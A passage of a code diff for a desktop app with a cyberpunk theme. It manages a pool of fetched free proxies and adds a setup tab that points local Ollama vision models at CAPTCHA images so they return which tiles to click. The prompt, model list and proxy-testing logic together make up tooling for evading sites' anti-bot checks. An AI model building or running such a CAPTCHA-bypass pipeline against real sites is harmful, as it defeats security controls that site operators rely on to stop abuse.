|
return None
|
||||||
|
|
||||||
|
try:
|
||||||
|
protocol, rest = proxy_str.split("://", 1)
|
||||||
|
ip, port = rest.rsplit(":", 1)
|
||||||
|
except ValueError:
|
||||||
|
ip, port, protocol = proxy_str, "?", "?"
|
||||||
|
|
||||||
|
row = _ProxyRow()
|
||||||
|
idx = len(self._rows)
|
||||||
|
bg = CyberpunkTheme.BG_DARK if idx % 2 == 0 else CyberpunkTheme.BG_MEDIUM
|
||||||
|
row.frame = ctk.CTkFrame(self.list_frame, fg_color=bg, height=28)
|
||||||
|
row.frame.pack(fill="x", pady=1)
|
||||||
|
|
||||||
|
row.dot = ctk.CTkLabel(row.frame, text="●", width=14,
|
||||||
|
font=("Consolas", 13, "bold"),
|
||||||
|
text_color=_DOT_UNTESTED)
|
||||||
|
row.dot.pack(side="left", padx=(4, 2))
|
||||||
|
|
||||||
|
def _lbl(txt, w, color=CyberpunkTheme.TEXT_PRIMARY):
|
||||||
|
l = ctk.CTkLabel(row.frame, text=txt, width=w,
|
||||||
|
font=("Consolas", 10), text_color=color, anchor="w")
|
||||||
|
l.pack(side="left", padx=2)
|
||||||
|
return l
|
||||||
|
|
||||||
|
row.ip_lbl = _lbl(ip, 190)
|
||||||
|
row.port_lbl = _lbl(port, 60, CyberpunkTheme.TEXT_SECONDARY)
|
||||||
|
row.proto_lbl = _lbl(protocol.upper(), 65, CyberpunkTheme.TERTIARY)
|
||||||
|
row.speed_lbl = _lbl("—", 90, CyberpunkTheme.TEXT_DIM)
|
||||||
|
row.status_lbl = _lbl("untested", 110, CyberpunkTheme.TEXT_DIM)
|
||||||
|
|
||||||
|
row.test_btn = ctk.CTkButton(
|
||||||
|
row.frame, text="TEST", width=55, height=22,
|
||||||
|
fg_color=CyberpunkTheme.BG_LIGHT,
|
||||||
|
hover_color=CyberpunkTheme.PRIMARY,
|
||||||
|
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
font=("Consolas", 10, "bold"), corner_radius=3,
|
||||||
|
command=lambda ps=proxy_str: self._test_single(ps))
|
||||||
|
row.test_btn.pack(side="left", padx=3)
|
||||||
|
|
||||||
|
row.remove_btn = ctk.CTkButton(
|
||||||
|
row.frame, text="✕", width=28, height=22,
|
||||||
|
fg_color="#331111", hover_color=CyberpunkTheme.ERROR,
|
||||||
|
text_color=CyberpunkTheme.ERROR,
|
||||||
|
font=("Consolas", 11, "bold"), corner_radius=3,
|
||||||
|
command=lambda ps=proxy_str: self._remove_proxy(ps))
|
||||||
|
row.remove_btn.pack(side="left", padx=2)
|
||||||
|
|
||||||
|
self._rows[proxy_str] = row
|
||||||
|
self._refresh_stats()
|
||||||
|
return row
|
||||||
|
|
||||||
|
def _remove_proxy(self, proxy_str: str):
|
||||||
|
row = self._rows.pop(proxy_str, None)
|
||||||
|
if row and row.frame:
|
||||||
|
row.frame.destroy()
|
||||||
|
self._refresh_stats()
|
||||||
|
|
||||||
|
# ── Row state ─────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _set_row_state(self, proxy_str: str, state: str,
|
||||||
|
speed_ms: float = 0.0, msg: str = ""):
|
||||||
|
row = self._rows.get(proxy_str)
|
||||||
|
if not row:
|
||||||
|
return
|
||||||
|
row.state = state
|
||||||
|
colors = {
|
||||||
|
"untested": (_DOT_UNTESTED, CyberpunkTheme.TEXT_DIM, "untested"),
|
||||||
|
"testing": (_DOT_TESTING, CyberpunkTheme.WARNING, "testing…"),
|
||||||
|
"valid": (_DOT_VALID, CyberpunkTheme.SUCCESS, f"{speed_ms:.0f} ms"),
|
||||||
|
"failed": (_DOT_FAILED, CyberpunkTheme.ERROR, msg or "failed"),
|
||||||
|
}
|
||||||
|
dot_c, stat_c, stat_txt = colors.get(state, colors["untested"])
|
||||||
|
try:
|
||||||
|
row.dot.configure(text_color=dot_c)
|
||||||
|
row.status_lbl.configure(text=stat_txt, text_color=stat_c)
|
||||||
|
if state == "valid":
|
||||||
|
row.speed_lbl.configure(
|
||||||
|
text=f"{speed_ms:.0f}",
|
||||||
|
text_color=(
|
||||||
|
CyberpunkTheme.SUCCESS if speed_ms < 1500 else
|
||||||
|
CyberpunkTheme.WARNING if speed_ms < 4000 else
|
||||||
|
CyberpunkTheme.ERROR
|
||||||
|
))
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
self._refresh_stats()
|
||||||
|
|
||||||
|
# ── Individual proxy test ─────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _test_single(self, proxy_str: str):
|
||||||
|
"""Test one proxy in its own daemon thread."""
|
||||||
|
self.after(0, lambda: self._set_row_state(proxy_str, "testing"))
|
||||||
|
|
||||||
|
def worker():
|
||||||
|
loop = asyncio.new_event_loop()
|
||||||
|
result = loop.run_until_complete(self.validator.test_single_proxy(proxy_str))
|
||||||
|
loop.close()
|
||||||
|
if result.is_valid:
|
||||||
|
self.after(0, lambda: self._set_row_state(
|
||||||
|
proxy_str, "valid", result.response_time_ms))
|
||||||
|
else:
|
||||||
|
self.after(0, lambda: self._set_row_state(
|
||||||
|
proxy_str, "failed", msg=result.error or "no response"))
|
||||||
|
|
||||||
|
threading.Thread(target=worker, daemon=True).start()
|
||||||
|
|
||||||
|
# ── Sequential TEST ALL ───────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _on_test_all(self):
|
||||||
|
if self._seq_testing:
|
||||||
|
return
|
||||||
|
proxies_to_test = list(self._rows.keys())
|
||||||
|
if not proxies_to_test:
|
||||||
|
self._notify("No proxies to test")
|
||||||
|
return
|
||||||
|
|
||||||
|
self._seq_testing = True
|
||||||
|
self._seq_stop_flag = False
|
||||||
|
total = len(proxies_to_test)
|
||||||
|
|
||||||
|
self.test_all_btn.configure(state="disabled", text="⏳ TESTING…")
|
||||||
|
self.stop_test_btn.configure(state="normal")
|
||||||
|
self.test_progress.pack(side="right", padx=(0, 4))
|
||||||
|
self.test_progress.set(0)
|
||||||
|
|
||||||
|
def sequential_worker():
|
||||||
|
for idx, ps in enumerate(proxies_to_test):
|
||||||
|
if self._seq_stop_flag:
|
||||||
|
break
|
||||||
|
# Mark yellow in UI
|
||||||
|
self.after(0, lambda p=ps: self._set_row_state(p, "testing"))
|
||||||
|
|
||||||
|
# Run the actual test
|
||||||
|
loop = asyncio.new_event_loop()
|
||||||
|
result = loop.run_until_complete(self.validator.test_single_proxy(ps))
|
||||||
|
loop.close()
|
||||||
|
|
||||||
|
if self._seq_stop_flag:
|
||||||
|
break
|
||||||
|
|
||||||
|
# Update row in UI
|
||||||
|
if result.is_valid:
|
||||||
|
self.after(0, lambda p=ps, ms=result.response_time_ms:
|
||||||
|
self._set_row_state(p, "valid", ms))
|
||||||
|
else:
|
||||||
|
self.after(0, lambda p=ps, err=result.error or "":
|
||||||
|
self._set_row_state(p, "failed", msg=err))
|
||||||
|
|
||||||
|
# Update progress
|
||||||
|
progress = (idx + 1) / total
|
||||||
|
self.after(0, lambda v=progress: self.test_progress.set(v))
|
||||||
|
self.after(0, lambda i=idx+1, t=total:
|
||||||
|
self._notify(f"Testing {i}/{t} proxies…"))
|
||||||
|
|
||||||
|
# Done
|
||||||
|
def done():
|
||||||
|
self._seq_testing = False
|
||||||
|
self.test_all_btn.configure(state="normal", text="⚡ TEST ALL")
|
||||||
|
self.stop_test_btn.configure(state="disabled")
|
||||||
|
self.test_progress.pack_forget()
|
||||||
|
valid = self._count_valid()
|
||||||
|
stopped = " (stopped early)" if self._seq_stop_flag else ""
|
||||||
|
self._notify(f"Testing complete{stopped} — {valid} valid proxies")
|
||||||
|
|
||||||
|
self.after(0, done)
|
||||||
|
|
||||||
|
threading.Thread(target=sequential_worker, daemon=True).start()
|
||||||
|
|
||||||
|
def _on_stop_test(self):
|
||||||
|
self._seq_stop_flag = True
|
||||||
|
self.stop_test_btn.configure(state="disabled")
|
||||||
|
|
||||||
|
# ── Bulk actions ──────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _on_remove_dead(self):
|
||||||
|
dead = [ps for ps, row in self._rows.items() if row.state == "failed"]
|
||||||
|
for ps in dead:
|
||||||
|
self._remove_proxy(ps)
|
||||||
|
self._notify(f"Removed {len(dead)} dead proxies")
|
||||||
|
|
||||||
|
def _on_commit(self):
|
||||||
|
valid = [ps for ps, row in self._rows.items() if row.state == "valid"]
|
||||||
|
if not valid:
|
||||||
|
self._notify("No valid proxies to commit — run TEST ALL first")
|
||||||
|
return
|
||||||
|
save_valid_proxies(valid)
|
||||||
|
new_count = self.proxy_pool.add_proxies(valid)
|
||||||
|
self._refresh_stats()
|
||||||
|
self._notify(f"Committed {new_count} new proxies to pool (pool total: {self.proxy_pool.total_valid})")
|
||||||
|
|
||||||
|
def _on_clear(self):
|
||||||
|
if self._seq_testing:
|
||||||
|
self._seq_stop_flag = True
|
||||||
|
for row in self._rows.values():
|
||||||
|
if row.frame:
|
||||||
|
row.frame.destroy()
|
||||||
|
self._rows.clear()
|
||||||
|
self._refresh_stats()
|
||||||
|
|
||||||
|
# ── Import / Fetch ────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _on_fetch(self):
|
||||||
|
self.fetch_btn.configure(state="disabled", text="⏳ FETCHING…")
|
||||||
|
self._notify("Fetching proxies from free sources…")
|
||||||
|
|
||||||
|
def worker():
|
||||||
|
try:
|
||||||
|
strings = self.fetcher.fetch_as_strings(500)
|
||||||
|
save_proxies(strings)
|
||||||
|
def done():
|
||||||
|
self.fetch_btn.configure(state="normal", text="⬇ FETCH PROXIES")
|
||||||
|
for ps in strings:
|
||||||
|
self._add_proxy_row(ps)
|
||||||
|
self._notify(f"Fetched {len(strings)} proxies — click TEST ALL to check health")
|
||||||
|
self.after(0, done)
|
||||||
|
except Exception as e:
|
||||||
|
self.after(0, lambda: self.fetch_btn.configure(
|
||||||
|
state="normal", text="⬇ FETCH PROXIES"))
|
||||||
|
self.after(0, lambda: self._notify(f"Fetch error: {e}"))
|
||||||
|
logger.error(f"Fetch error: {e}")
|
||||||
|
|
||||||
|
threading.Thread(target=worker, daemon=True).start()
|
||||||
|
|
||||||
|
def _on_import(self):
|
||||||
|
from tkinter import filedialog
|
||||||
|
path = filedialog.askopenfilename(
|
||||||
|
title="Import Proxy List",
|
||||||
|
filetypes=[("Text files", "*.txt"), ("All files", "*.*")])
|
||||||
|
if not path:
|
||||||
|
return
|
||||||
|
try:
|
||||||
|
with open(path, "r", encoding="utf-8", errors="ignore") as f:
|
||||||
|
lines = [l.strip() for l in f if l.strip()]
|
||||||
|
processed = []
|
||||||
|
for line in lines:
|
||||||
|
if "://" not in line and line:
|
||||||
|
line = f"http://{line}"
|
||||||
|
processed.append(line)
|
||||||
|
save_proxies(processed)
|
||||||
|
added = sum(1 for ps in processed if self._add_proxy_row(ps) is not None)
|
||||||
|
self._notify(f"Imported {added} proxies from file")
|
||||||
|
except Exception as e:
|
||||||
|
self._notify(f"Import error: {e}")
|
||||||
|
|
||||||
|
def _on_add_pasted(self):
|
||||||
|
text = self.paste_box.get("1.0", "end").strip()
|
||||||
|
lines = [l.strip() for l in text.splitlines() if l.strip()]
|
||||||
|
added = 0
|
||||||
|
for ps in lines:
|
||||||
|
if "://" not in ps:
|
||||||
|
ps = f"http://{ps}"
|
||||||
|
if self._add_proxy_row(ps) is not None:
|
||||||
|
added += 1
|
||||||
|
self.paste_box.delete("1.0", "end")
|
||||||
|
self._notify(f"Added {added} proxies")
|
||||||
|
|
||||||
|
def _load_saved_proxies(self):
|
||||||
|
from src.utils.file_io import load_valid_proxies
|
||||||
|
for ps in load_valid_proxies():
|
||||||
|
row = self._add_proxy_row(ps)
|
||||||
|
if row:
|
||||||
|
row.state = "valid"
|
||||||
|
if row.dot:
|
||||||
|
row.dot.configure(text_color=_DOT_VALID)
|
||||||
|
if row.status_lbl:
|
||||||
|
row.status_lbl.configure(text="saved valid",
|
||||||
|
text_color=CyberpunkTheme.SUCCESS)
|
||||||
|
|
||||||
|
# ── Stats ─────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def _count_valid(self) -> int:
|
||||||
|
return sum(1 for r in self._rows.values() if r.state == "valid")
|
||||||
|
|
||||||
|
def _refresh_stats(self):
|
||||||
|
total = len(self._rows)
|
||||||
|
valid = sum(1 for r in self._rows.values() if r.state == "valid")
|
||||||
|
failed = sum(1 for r in self._rows.values() if r.state == "failed")
|
||||||
|
testing = sum(1 for r in self._rows.values() if r.state == "testing")
|
||||||
|
inqueue = self.proxy_pool.available_count
|
||||||
|
try:
|
||||||
|
self.lbl_total.configure(text=f"Total: {total}")
|
||||||
|
self.lbl_valid.configure(text=f"Valid: {valid}")
|
||||||
|
self.lbl_failed.configure(text=f"Dead: {failed}")
|
||||||
|
self.lbl_testing.configure(text=f"Testing: {testing}")
|
||||||
|
self.lbl_inqueue.configure(text=f"In Pool: {inqueue}")
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def _update_stats(self):
|
||||||
|
self._refresh_stats()
|
||||||
|
|
||||||
|
def _notify(self, msg: str):
|
||||||
|
if self.status_callback:
|
||||||
|
self.status_callback(msg)
|
||||||
|
logger.info(msg)
|
||||||
772
src/gui/setup_tab.py
Normal file
772
src/gui/setup_tab.py
Normal file
@@ -0,0 +1,772 @@
|
|||||||
|
"""
|
||||||
|
Setup Tab — Ollama model integration for CAPTCHA solving.
|
||||||
|
Configures local vision models, browser automation, and CAPTCHA solving pipeline.
|
||||||
|
"""
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
import threading
|
||||||
|
from dataclasses import dataclass, field
|
||||||
|
from typing import List, Optional, Dict, Any
|
||||||
|
import customtkinter as ctk
|
||||||
|
import requests
|
||||||
|
from config import DEFAULT_OLLAMA_CONFIG, OLLAMA_CONFIG_FILE
|
||||||
|
from src.gui.theme import CyberpunkTheme
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
OLLAMA_DEFAULT_HOST = "http://localhost:11434"
|
||||||
|
|
||||||
|
|
||||||
|
@dataclass
|
||||||
|
class OllamaConfig:
|
||||||
|
"""Configuration for Ollama integration."""
|
||||||
|
host: str = OLLAMA_DEFAULT_HOST
|
||||||
|
model: str = ""
|
||||||
|
timeout: int = 60
|
||||||
|
temperature: float = 0.1
|
||||||
|
top_p: float = 0.9
|
||||||
|
max_tokens: int = 512
|
||||||
|
|
||||||
|
|
||||||
|
class OllamaManager:
|
||||||
|
"""Manages Ollama API interactions — model listing, status checks, inference."""
|
||||||
|
|
||||||
|
def __init__(self, host: str = OLLAMA_DEFAULT_HOST):
|
||||||
|
self.host = host.rstrip("/")
|
||||||
|
|
||||||
|
def is_running(self) -> bool:
|
||||||
|
"""Check if Ollama server is reachable."""
|
||||||
|
try:
|
||||||
|
resp = requests.get(f"{self.host}/api/tags", timeout=3)
|
||||||
|
return resp.status_code == 200
|
||||||
|
except requests.RequestException:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def list_models(self) -> List[Dict[str, Any]]:
|
||||||
|
"""Get list of available models from Ollama."""
|
||||||
|
try:
|
||||||
|
resp = requests.get(f"{self.host}/api/tags", timeout=5)
|
||||||
|
if resp.status_code == 200:
|
||||||
|
data = resp.json()
|
||||||
|
models = data.get("models", [])
|
||||||
|
return [
|
||||||
|
{
|
||||||
|
"name": m["name"],
|
||||||
|
"size_gb": round(m["size"] / (1024**3), 2),
|
||||||
|
"modified": m.get("modified_at", ""),
|
||||||
|
}
|
||||||
|
for m in models
|
||||||
|
]
|
||||||
|
return []
|
||||||
|
except requests.RequestException as e:
|
||||||
|
logger.warning(f"Failed to list Ollama models: {e}")
|
||||||
|
return []
|
||||||
|
|
||||||
|
def get_model_names(self) -> List[str]:
|
||||||
|
"""Get just the model names."""
|
||||||
|
return [m["name"] for m in self.list_models()]
|
||||||
|
|
||||||
|
def pull_model(self, model_name: str) -> bool:
|
||||||
|
"""Pull a model from Ollama registry."""
|
||||||
|
try:
|
||||||
|
resp = requests.post(
|
||||||
|
f"{self.host}/api/pull",
|
||||||
|
json={"name": model_name},
|
||||||
|
timeout=300, # Long timeout for downloads
|
||||||
|
stream=True,
|
||||||
|
)
|
||||||
|
return resp.status_code == 200
|
||||||
|
except requests.RequestException as e:
|
||||||
|
logger.error(f"Failed to pull model {model_name}: {e}")
|
||||||
|
return False
|
||||||
|
|
||||||
|
def generate(self, model: str, prompt: str, images: Optional[List[str]] = None) -> Optional[str]:
|
||||||
|
"""
|
||||||
|
Generate a response from the model.
|
||||||
|
images: list of base64-encoded images.
|
||||||
|
"""
|
||||||
|
payload = {
|
||||||
|
"model": model,
|
||||||
|
"prompt": prompt,
|
||||||
|
"stream": False,
|
||||||
|
"options": {
|
||||||
|
"temperature": 0.1,
|
||||||
|
"top_p": 0.9,
|
||||||
|
"num_predict": 512,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if images:
|
||||||
|
payload["images"] = images
|
||||||
|
|
||||||
|
try:
|
||||||
|
resp = requests.post(
|
||||||
|
f"{self.host}/api/generate",
|
||||||
|
json=payload,
|
||||||
|
timeout=120,
|
||||||
|
)
|
||||||
|
if resp.status_code == 200:
|
||||||
|
data = resp.json()
|
||||||
|
return data.get("response", "")
|
||||||
|
logger.warning(f"Ollama generate returned {resp.status_code}: {resp.text[:200]}")
|
||||||
|
return None
|
||||||
|
except requests.RequestException as e:
|
||||||
|
logger.error(f"Ollama generate failed: {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
def chat(self, model: str, messages: List[Dict], images: Optional[List[str]] = None) -> Optional[str]:
|
||||||
|
"""
|
||||||
|
Chat completion with optional image support.
|
||||||
|
"""
|
||||||
|
payload = {
|
||||||
|
"model": model,
|
||||||
|
"messages": messages,
|
||||||
|
"stream": False,
|
||||||
|
"options": {
|
||||||
|
"temperature": 0.1,
|
||||||
|
"top_p": 0.9,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if images and messages:
|
||||||
|
# Add images to the last message
|
||||||
|
if "images" not in messages[-1]:
|
||||||
|
messages[-1]["images"] = images
|
||||||
|
|
||||||
|
try:
|
||||||
|
resp = requests.post(
|
||||||
|
f"{self.host}/api/chat",
|
||||||
|
json=payload,
|
||||||
|
timeout=120,
|
||||||
|
)
|
||||||
|
if resp.status_code == 200:
|
||||||
|
data = resp.json()
|
||||||
|
return data.get("message", {}).get("content", "")
|
||||||
|
return None
|
||||||
|
except requests.RequestException as e:
|
||||||
|
logger.error(f"Ollama chat failed: {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
class SetupTab(ctk.CTkFrame):
|
||||||
|
"""
|
||||||
|
Setup Tab — Ollama model configuration and CAPTCHA solving pipeline setup.
|
||||||
|
Features:
|
||||||
|
- Auto-detect Ollama server
|
||||||
|
- Model selector dropdown (auto-populated from Ollama)
|
||||||
|
- Pull new models
|
||||||
|
- CAPTCHA solving configuration
|
||||||
|
- Browser automation settings
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __init__(self, parent):
|
||||||
|
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
|
||||||
|
self.ollama = OllamaManager()
|
||||||
|
self.config = OllamaConfig()
|
||||||
|
self._build_ui()
|
||||||
|
self._load_saved_config()
|
||||||
|
|
||||||
|
def _build_ui(self):
|
||||||
|
"""Build the setup tab UI."""
|
||||||
|
# Title
|
||||||
|
title = ctk.CTkLabel(
|
||||||
|
self, text="[ SETUP & CONFIGURATION ]",
|
||||||
|
font=("Consolas", 18, "bold"),
|
||||||
|
text_color=CyberpunkTheme.PRIMARY,
|
||||||
|
)
|
||||||
|
title.pack(pady=(15, 5))
|
||||||
|
|
||||||
|
subtitle = ctk.CTkLabel(
|
||||||
|
self, text="Configure Ollama vision models, CAPTCHA solving, and automation settings",
|
||||||
|
font=("Consolas", 10),
|
||||||
|
text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
)
|
||||||
|
subtitle.pack(pady=(0, 15))
|
||||||
|
|
||||||
|
# Main content (scrollable)
|
||||||
|
self.content = ctk.CTkScrollableFrame(
|
||||||
|
self, fg_color=CyberpunkTheme.BG_MEDIUM,
|
||||||
|
border_width=1, border_color=CyberpunkTheme.BORDER,
|
||||||
|
)
|
||||||
|
self.content.pack(fill="both", expand=True, padx=15, pady=(0, 10))
|
||||||
|
|
||||||
|
# === SECTION 1: Ollama Server ===
|
||||||
|
CyberpunkTheme.create_section_header(self.content, "> OLLAMA SERVER")
|
||||||
|
|
||||||
|
server_frame = ctk.CTkFrame(self.content, fg_color="transparent")
|
||||||
|
server_frame.pack(fill="x", padx=10, pady=5)
|
||||||
|
|
||||||
|
# Host input
|
||||||
|
row1 = ctk.CTkFrame(server_frame, fg_color="transparent")
|
||||||
|
row1.pack(fill="x")
|
||||||
|
|
||||||
|
ctk.CTkLabel(
|
||||||
|
row1, text="Host URL:",
|
||||||
|
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
).pack(side="left", padx=(0, 5))
|
||||||
|
|
||||||
|
self.host_entry = ctk.CTkEntry(
|
||||||
|
row1, placeholder_text="http://localhost:11434",
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||||||
|
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12),
|
||||||
|
width=300,
|
||||||
|
)
|
||||||
|
self.host_entry.insert(0, OLLAMA_DEFAULT_HOST)
|
||||||
|
self.host_entry.pack(side="left", padx=(0, 10))
|
||||||
|
CyberpunkTheme.apply_focus_glow(self.host_entry)
|
||||||
|
|
||||||
|
self.connect_btn = CyberpunkTheme.create_neon_button(
|
||||||
|
row1, text="🔗 CONNECT",
|
||||||
|
command=self._on_connect,
|
||||||
|
color=CyberpunkTheme.TERTIARY,
|
||||||
|
width=120, height=30,
|
||||||
|
)
|
||||||
|
self.connect_btn.pack(side="left", padx=(0, 10))
|
||||||
|
|
||||||
|
self.ollama_status_label = ctk.CTkLabel(
|
||||||
|
row1, text="● UNKNOWN",
|
||||||
|
font=("Consolas", 11, "bold"),
|
||||||
|
text_color=CyberpunkTheme.TEXT_DIM,
|
||||||
|
)
|
||||||
|
self.ollama_status_label.pack(side="left")
|
||||||
|
|
||||||
|
# === SECTION 2: Model Selection ===
|
||||||
|
CyberpunkTheme.create_section_header(self.content, "> VISION MODEL SELECTOR")
|
||||||
|
|
||||||
|
model_frame = ctk.CTkFrame(self.content, fg_color="transparent")
|
||||||
|
model_frame.pack(fill="x", padx=10, pady=5)
|
||||||
|
|
||||||
|
row_m1 = ctk.CTkFrame(model_frame, fg_color="transparent")
|
||||||
|
row_m1.pack(fill="x")
|
||||||
|
|
||||||
|
ctk.CTkLabel(
|
||||||
|
row_m1, text="Selected Model:",
|
||||||
|
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
).pack(side="left", padx=(0, 5))
|
||||||
|
|
||||||
|
self.model_var = ctk.StringVar(value="")
|
||||||
|
self.model_dropdown = ctk.CTkOptionMenu(
|
||||||
|
row_m1,
|
||||||
|
values=["No models found"],
|
||||||
|
variable=self.model_var,
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK,
|
||||||
|
button_color=CyberpunkTheme.TERTIARY,
|
||||||
|
button_hover_color=CyberpunkTheme.PRIMARY,
|
||||||
|
text_color=CyberpunkTheme.TEXT_PRIMARY,
|
||||||
|
dropdown_fg_color=CyberpunkTheme.BG_MEDIUM,
|
||||||
|
dropdown_hover_color=CyberpunkTheme.TERTIARY,
|
||||||
|
dropdown_text_color=CyberpunkTheme.TEXT_PRIMARY,
|
||||||
|
font=("Consolas", 12),
|
||||||
|
width=300,
|
||||||
|
)
|
||||||
|
self.model_dropdown.pack(side="left", padx=(0, 10))
|
||||||
|
|
||||||
|
self.refresh_models_btn = CyberpunkTheme.create_neon_button(
|
||||||
|
row_m1, text="🔄 REFRESH",
|
||||||
|
command=self._on_refresh_models,
|
||||||
|
color=CyberpunkTheme.PRIMARY,
|
||||||
|
width=100, height=30,
|
||||||
|
)
|
||||||
|
self.refresh_models_btn.pack(side="left", padx=(0, 10))
|
||||||
|
|
||||||
|
# Pull new model
|
||||||
|
row_m2 = ctk.CTkFrame(model_frame, fg_color="transparent")
|
||||||
|
row_m2.pack(fill="x", pady=(8, 0))
|
||||||
|
|
||||||
|
ctk.CTkLabel(
|
||||||
|
row_m2, text="Pull Model:",
|
||||||
|
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
).pack(side="left", padx=(0, 5))
|
||||||
|
|
||||||
|
self.pull_entry = ctk.CTkEntry(
|
||||||
|
row_m2, placeholder_text="e.g., llava:13b, bakllava, minicpm-v",
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||||||
|
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
|
||||||
|
width=250,
|
||||||
|
)
|
||||||
|
self.pull_entry.pack(side="left", padx=(0, 10))
|
||||||
|
|
||||||
|
self.pull_btn = CyberpunkTheme.create_neon_button(
|
||||||
|
row_m2, text="📥 PULL",
|
||||||
|
command=self._on_pull_model,
|
||||||
|
color=CyberpunkTheme.TERTIARY,
|
||||||
|
width=80, height=28,
|
||||||
|
)
|
||||||
|
self.pull_btn.pack(side="left")
|
||||||
|
|
||||||
|
# Recommended models info
|
||||||
|
row_m3 = ctk.CTkFrame(model_frame, fg_color="transparent")
|
||||||
|
row_m3.pack(fill="x", pady=(8, 0))
|
||||||
|
|
||||||
|
ctk.CTkLabel(
|
||||||
|
row_m3,
|
||||||
|
text="Recommended: deepseek-r1:8b deepseek-vl2 llava:13b minicpm-v bakllava moondream",
|
||||||
|
font=("Consolas", 10),
|
||||||
|
text_color=CyberpunkTheme.TEXT_DIM,
|
||||||
|
).pack(anchor="w")
|
||||||
|
|
||||||
|
ctk.CTkLabel(
|
||||||
|
row_m3,
|
||||||
|
text="DeepSeek pull cmds: ollama pull deepseek-r1:8b | ollama pull deepseek-vl2",
|
||||||
|
font=("Consolas", 9),
|
||||||
|
text_color=CyberpunkTheme.TEXT_DIM,
|
||||||
|
).pack(anchor="w", pady=(2, 0))
|
||||||
|
|
||||||
|
# === SECTION 3: CAPTCHA Solving Configuration ===
|
||||||
|
CyberpunkTheme.create_section_header(self.content, "> CAPTCHA SOLVING CONFIG")
|
||||||
|
|
||||||
|
captcha_frame = ctk.CTkFrame(self.content, fg_color="transparent")
|
||||||
|
captcha_frame.pack(fill="x", padx=10, pady=5)
|
||||||
|
|
||||||
|
# Prompt template
|
||||||
|
row_c1 = ctk.CTkFrame(captcha_frame, fg_color="transparent")
|
||||||
|
row_c1.pack(fill="x")
|
||||||
|
|
||||||
|
ctk.CTkLabel(
|
||||||
|
row_c1, text="Analysis Prompt:",
|
||||||
|
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
).pack(anchor="w")
|
||||||
|
|
||||||
|
self.prompt_text = ctk.CTkTextbox(
|
||||||
|
captcha_frame, height=80,
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||||||
|
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
|
||||||
|
)
|
||||||
|
self.prompt_text.insert("1.0", (
|
||||||
|
"Look at this CAPTCHA image carefully.\n"
|
||||||
|
"1. Describe what you see\n"
|
||||||
|
"2. What is the instruction?\n"
|
||||||
|
"3. Which elements need to be clicked?\n"
|
||||||
|
"4. Provide the exact coordinates or tile positions"
|
||||||
|
))
|
||||||
|
self.prompt_text.pack(fill="x", pady=(5, 0))
|
||||||
|
|
||||||
|
# Model parameters
|
||||||
|
row_c2 = ctk.CTkFrame(captcha_frame, fg_color="transparent")
|
||||||
|
row_c2.pack(fill="x", pady=(8, 0))
|
||||||
|
|
||||||
|
ctk.CTkLabel(
|
||||||
|
row_c2, text="Temperature:",
|
||||||
|
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
).pack(side="left", padx=(0, 5))
|
||||||
|
|
||||||
|
self.temp_var = ctk.DoubleVar(value=0.1)
|
||||||
|
temp_slider = ctk.CTkSlider(
|
||||||
|
row_c2, from_=0.0, to=1.0, number_of_steps=20,
|
||||||
|
variable=self.temp_var,
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK,
|
||||||
|
progress_color=CyberpunkTheme.PRIMARY,
|
||||||
|
button_color=CyberpunkTheme.PRIMARY,
|
||||||
|
width=150,
|
||||||
|
)
|
||||||
|
temp_slider.pack(side="left", padx=(0, 5))
|
||||||
|
|
||||||
|
self.temp_label = ctk.CTkLabel(
|
||||||
|
row_c2, text="0.1",
|
||||||
|
font=("Consolas", 11), text_color=CyberpunkTheme.PRIMARY, width=30,
|
||||||
|
)
|
||||||
|
self.temp_label.pack(side="left", padx=(0, 20))
|
||||||
|
|
||||||
|
def update_temp(val):
|
||||||
|
self.temp_label.configure(text=f"{float(val):.1f}")
|
||||||
|
temp_slider.configure(command=update_temp)
|
||||||
|
|
||||||
|
ctk.CTkLabel(
|
||||||
|
row_c2, text="Max Tokens:",
|
||||||
|
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_SECONDARY,
|
||||||
|
).pack(side="left", padx=(0, 5))
|
||||||
|
|
||||||
|
self.max_tokens_entry = ctk.CTkEntry(
|
||||||
|
row_c2, width=80, placeholder_text="512",
|
||||||
|
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
|
||||||
|
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
|
||||||
|
)
|
||||||
|
self.max_tokens_entry.insert(0, "512")
|
||||||
|
